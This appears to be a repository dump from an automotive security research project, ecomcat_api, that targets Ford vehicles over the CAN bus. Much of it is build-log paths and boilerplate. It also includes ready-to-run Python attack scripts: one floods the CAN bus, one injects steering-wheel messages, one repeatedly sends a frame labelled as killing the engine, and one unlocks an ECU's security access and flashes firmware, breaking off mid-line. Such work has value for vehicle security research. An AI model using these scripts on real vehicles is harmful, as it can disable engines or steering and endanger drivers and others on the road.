https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8512.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.8724-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8724-cvtres.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.8724-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8724-cvtres.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.8724.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8724.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.8724.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8724.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.8816-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8816-cvtres.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.8816-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8816-cvtres.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.8816.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8816.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.8816.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8816.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.8876-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8876-cvtres.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.8876-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8876-cvtres.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.8876.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8876.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.8876.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.8876.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9016.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9016.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9016.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9016.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9288-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9288-cvtres.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9288-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9288-cvtres.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9288.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9288.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9288.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9288.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9344-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9344-cvtres.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9344-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9344-cvtres.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9344.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9344.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9344.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9344.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9636-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9636-cvtres.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9636-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9636-cvtres.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9636.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9636.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9636.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9636.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9760-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9760-cvtres.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9760-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9760-cvtres.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9760.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9760.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9760.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9760.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9796-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9796-cvtres.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9796-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9796-cvtres.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9796.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9796.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9796.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9796.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9812-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9812-cvtres.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9812-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9812-cvtres.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9812.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9812.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9812.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9812.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9840.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9840.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9840.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9840.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9980-cvtres.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9980-cvtres.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9980-cvtres.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9980-cvtres.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9980.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9980.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.9980.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.9980.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.command.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/link.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/mt.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/mt.command.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/mt.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/mt.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/mt.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/mt.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/rc.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/rc.command.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/rc.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/rc.read.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/rc.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/rc.write.1.tlog -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/stdafx.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/stdafx.obj -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/vc100.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/vc100.idb -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/Debug/vc100.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/Debug/vc100.pdb -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : ecomcat_api Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this ecomcat_api application for you. 6 | 7 | This file contains a summary of what you will find in each of the files that 8 | make up your ecomcat_api application. 9 | 10 | 11 | ecomcat_api.vcxproj 12 | This is the main project file for VC++ projects generated using an Application Wizard. 13 | It contains information about the version of Visual C++ that generated the file, and 14 | information about the platforms, configurations, and project features selected with the 15 | Application Wizard. 16 | 17 | ecomcat_api.vcxproj.filters 18 | This is the filters file for VC++ projects generated using an Application Wizard. 19 | It contains information about the association between the files in your project 20 | and the filters. This association is used in the IDE to show grouping of files with 21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the 22 | "Source Files" filter). 23 | 24 | ecomcat_api.cpp 25 | This is the main application source file. 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | Other standard files: 29 | 30 | StdAfx.h, StdAfx.cpp 31 | These files are used to build a precompiled header (PCH) file 32 | named ecomcat_api.pch and a precompiled types file named StdAfx.obj. 33 | 34 | ///////////////////////////////////////////////////////////////////////////// 35 | Other notes: 36 | 37 | AppWizard uses "TODO:" comments to indicate parts of the source code you 38 | should add to or customize. 39 | 40 | ///////////////////////////////////////////////////////////////////////////// 41 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/api_file.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "ecommlib.h" 5 | 6 | 7 | // open/close device 8 | __declspec(dllexport) HANDLE open_device(unsigned int baud, unsigned int serial); 9 | __declspec(dllexport) int close_device(HANDLE h); 10 | 11 | // read messages 12 | __declspec(dllexport) SFFMessage *read_message(HANDLE h); 13 | __declspec(dllexport) SFFMessage *read_message_by_wid(HANDLE h, unsigned short wid); 14 | __declspec(dllexport) SFFMessage *read_message_by_wid_get_ack_timeout(HANDLE h, unsigned short wid, BOOL tail_ack, unsigned int timeout); 15 | __declspec(dllexport) SFFMessage *read_message_by_wid_with_timeout(HANDLE h, unsigned short wid, unsigned int timeout); 16 | 17 | // write a single message 18 | __declspec(dllexport) int write_message(HANDLE h, SFFMessage *msg); 19 | __declspec(dllexport) int write_message_cont(HANDLE h, SFFMessage *msg, unsigned int for_time); 20 | 21 | // try to write many messages, all may not be written due to speed of transit... 22 | __declspec(dllexport) int write_messages(HANDLE h, SFFMessage **msgs); 23 | __declspec(dllexport) int write_messages_cont(HANDLE h, SFFMessage **msgs, unsigned int for_time); 24 | 25 | // read/write ISO 15765 data 26 | __declspec(dllexport) char *read_15765_data(HANDLE h, unsigned short wid, unsigned int *len); 27 | __declspec(dllexport) int write_15765_data(HANDLE h, unsigned short wid, char *data, unsigned int len); 28 | 29 | // utility functions 30 | __declspec(dllexport) void PrintSFF(SFFMessage *sff, FILE *fp); 31 | __declspec(dllexport) int DbgLineToSFF(char *line, SFFMessage *sff); 32 | __declspec(dllexport) int write_messages_from_file(HANDLE h, char *filename); 33 | __declspec(dllexport) BYTE SFFChecksum(SFFMessage *sff); 34 | __declspec(dllexport) BYTE FixChecksum(SFFMessage *sff); 35 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/ecomcat_api.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | 14 | {8C7D5D91-37E6-43F6-8BA4-89584E036732} 15 | Win32Proj 16 | ecomcat_api 17 | 18 | 19 | 20 | DynamicLibrary 21 | true 22 | Unicode 23 | 24 | 25 | Application 26 | false 27 | true 28 | Unicode 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | true 42 | 43 | 44 | false 45 | 46 | 47 | 48 | NotUsing 49 | Level3 50 | Disabled 51 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 52 | false 53 | 54 | 55 | Console 56 | true 57 | 58 | 59 | false 60 | 61 | 62 | 63 | 64 | Level3 65 | Use 66 | MaxSpeed 67 | true 68 | true 69 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 70 | 71 | 72 | Console 73 | true 74 | true 75 | true 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | Create 91 | Create 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/ecomcat_api.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | Header Files 32 | 33 | 34 | 35 | 36 | Source Files 37 | 38 | 39 | Source Files 40 | 41 | 42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/ecomcat_api.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/ecommlib.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daedalus/carhacking/56ebb94fa71330e82e4d7b98824f61827e6160db/code/ecomcat_api/ecomcat_api/ecommlib.lib -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // ecomcat_api.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | 10 | #include 11 | #include 12 | 13 | 14 | 15 | // TODO: reference additional headers your program requires here 16 | -------------------------------------------------------------------------------- /code/ecomcat_api/ecomcat_api/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /code/ecomcat_api/flood.py: -------------------------------------------------------------------------------- 1 | from FordStuff import * 2 | import sys 3 | 4 | if len(sys.argv) < 2: 5 | sys.exit(f'Usage: {sys.argv[0]} serialnum') 6 | 7 | # initalize 8 | mydll = CDLL('Debug\\ecomcat_api') 9 | # HS CAN 10 | handle = mydll.open_device(1, int(sys.argv[1])) 11 | 12 | y = pointer(SFFMessage()) 13 | mydll.DbgLineToSFF("IDH: 00, IDL: 00, Len: 08, Data: 00 00 00 00 00 00 00 00", y) 14 | 15 | while True: 16 | mydll.write_message_cont(handle, y, 1000) 17 | 18 | mydll.close_device(handle) 19 | -------------------------------------------------------------------------------- /code/ecomcat_api/ford_try_wheel.py: -------------------------------------------------------------------------------- 1 | from FordStuff import * 2 | import time 3 | 4 | 5 | # initalize 6 | mydll = CDLL('Debug\\ecomcat_api') 7 | # HS CAN 8 | handle = mydll.open_device(1,0) 9 | 10 | 11 | # get current 12 | read_by_wid = mydll.read_message_by_wid_with_timeout 13 | read_by_wid.restype = POINTER(SFFMessage) 14 | z = mydll.read_message_by_wid_with_timeout(handle, 0x80, 1000) 15 | current = (z.contents.data[0]<<8) + z.contents.data[1] 16 | print("Current wheel at %x" % current) 17 | change = 0 18 | y = pointer(SFFMessage()) 19 | 20 | while(True): 21 | current += change 22 | change += 12 23 | mydll.DbgLineToSFF("IDH: 00, IDL: 81, Len: 08, Data: %02X %02X 12 00 00 00 00 00" % ((current & 0xff00) >> 8, current & 0xff), y) 24 | mydll.write_message_cont(handle, y) 25 | time.sleep(.0019) # should be 312 ticks 26 | 27 | mydll.close_device(handle) 28 | -------------------------------------------------------------------------------- /code/ecomcat_api/iso14229.py: -------------------------------------------------------------------------------- 1 | #Negative Response Codes (See Annex A.1 in the ISO doc for full list) 2 | generalReject = 0x10 3 | serviceNotSupported = 0x11 4 | subFunctionNotSupported = 0x12 5 | responseTooLong = 0x14 6 | busyRepeatRequest = 0x21 7 | conditionsNotCorrect = 0x22 8 | requestSequenceError = 0x24 9 | requestOutOfRange = 0x31 10 | securityAccessDenied = 0x33 11 | invalidKey = 0x35 12 | exceedNumberOfAttempts = 0x36 13 | requiredTimeDelayNotExpired = 0x37 14 | uploadDownloadNotAccepted = 0x70 15 | generalProgrammingFailure = 0x72 16 | requestCorrectlyReceived_ResponsePending = 0x78 17 | subFuncionNotSupportedInActiveSession = 0x7E 18 | serviceNotSupportedInActiveSession = 0x7F 19 | rpmTooHigh = 0x81 20 | rpmTooLow = 0x82 21 | engineIsRunning = 0x83 22 | engineIsNotRunning = 0x84 23 | shifterLeverNotInPark = 0x90 24 | 25 | NegRespCode = { 26 | generalReject: ["GR", "General Reject"], 27 | serviceNotSupported: ["SNS", "Service Not Supported"], 28 | subFunctionNotSupported: [ 29 | "SFNS", 30 | "Subfunction Not Supported: Service exists but not supported by subfunction", 31 | ], 32 | responseTooLong: ["RTL", "Response Too Long"], 33 | busyRepeatRequest: ["BRR", "Busy Repeat Request"], 34 | conditionsNotCorrect: ["CNC", "Conditions Not Correct"], 35 | requestSequenceError: [ 36 | "RSE", 37 | "Request Sequence Error: Server expectes different sequence of request messages", 38 | ], 39 | requestOutOfRange: [ 40 | "ROOR", 41 | "Request of out Range: There exists a parameter which is out of range", 42 | ], 43 | securityAccessDenied: [ 44 | "SAD", 45 | "Security Access Denied: Either 1) Test conditions not met 2) invalid sequence (try DiagSession) 3) requires unlocking of server", 46 | ], 47 | invalidKey: ["IK", "Invalid Key"], 48 | exceedNumberOfAttempts: [ 49 | "ENOA", 50 | "Exceeded Number of Security Access Attempts", 51 | ], 52 | requiredTimeDelayNotExpired: [ 53 | "RTDNE", 54 | "Required Time Delay Not Expired: Client attempting to access security too quickly", 55 | ], 56 | uploadDownloadNotAccepted: ["UDNA", "Upload / Download Not Accepted"], 57 | generalProgrammingFailure: ["GPF", "General Programming Failure"], 58 | requestCorrectlyReceived_ResponsePending: [ 59 | "RCRRP", 60 | "Request Correctly Received Response Pending: Wait for response", 61 | ], 62 | subFuncionNotSupportedInActiveSession: [ 63 | "SFNSIAS", 64 | "Subfunction Not Supported in Active Session", 65 | ], 66 | serviceNotSupportedInActiveSession: [ 67 | "SNSIAS", 68 | "Service Not Supported in Active Session", 69 | ], 70 | } 71 | 72 | def NegRespErrStr(err_code): 73 | if err_code in list(NegRespCode.keys()): 74 | return NegRespCode[err_code][1] 75 | else: 76 | return "Unknown Error %02X" % (err_code) 77 | 78 | 79 | -------------------------------------------------------------------------------- /code/ecomcat_api/kill_engine.py.py: -------------------------------------------------------------------------------- 1 | from FordStuff import * 2 | 3 | def kill_engine(mydll, handle, time): 4 | y = pointer(SFFMessage()) 5 | mydll.DbgLineToSFF("IDH: 07, IDL: E0, Len: 08, Data: 05 31 01 40 44 FF 00 00", y) 6 | mydll.write_message_cont(handle, y, time) 7 | 8 | # initalize 9 | mydll = CDLL('Debug\\ecomcat_api') 10 | # HS CAN 11 | handle = mydll.open_device(1,0) 12 | 13 | while True: 14 | kill_engine(mydll, handle, 1000) 15 | 16 | mydll.close_device(handle) 17 | -------------------------------------------------------------------------------- /code/ecomcat_api/lights_flashing.py: -------------------------------------------------------------------------------- 1 | from FordStuff import * 2 | 3 | # initalize 4 | mydll = CDLL('Debug\\ecomcat_api') 5 | 6 | # MS CAN 7 | handle = mydll.open_device(3,0) 8 | wid = 0x726 9 | if do_diagnostic_session(mydll, handle, wid, "prog"): 10 | print("Started diagnostic session") 11 | time.sleep(1) 12 | do_security_access(mydll, handle, wid) 13 | 14 | if do_download(mydll, handle, wid, 0x0, '726_000000-again.firmware'): 15 | print(do_proprietary(mydll, 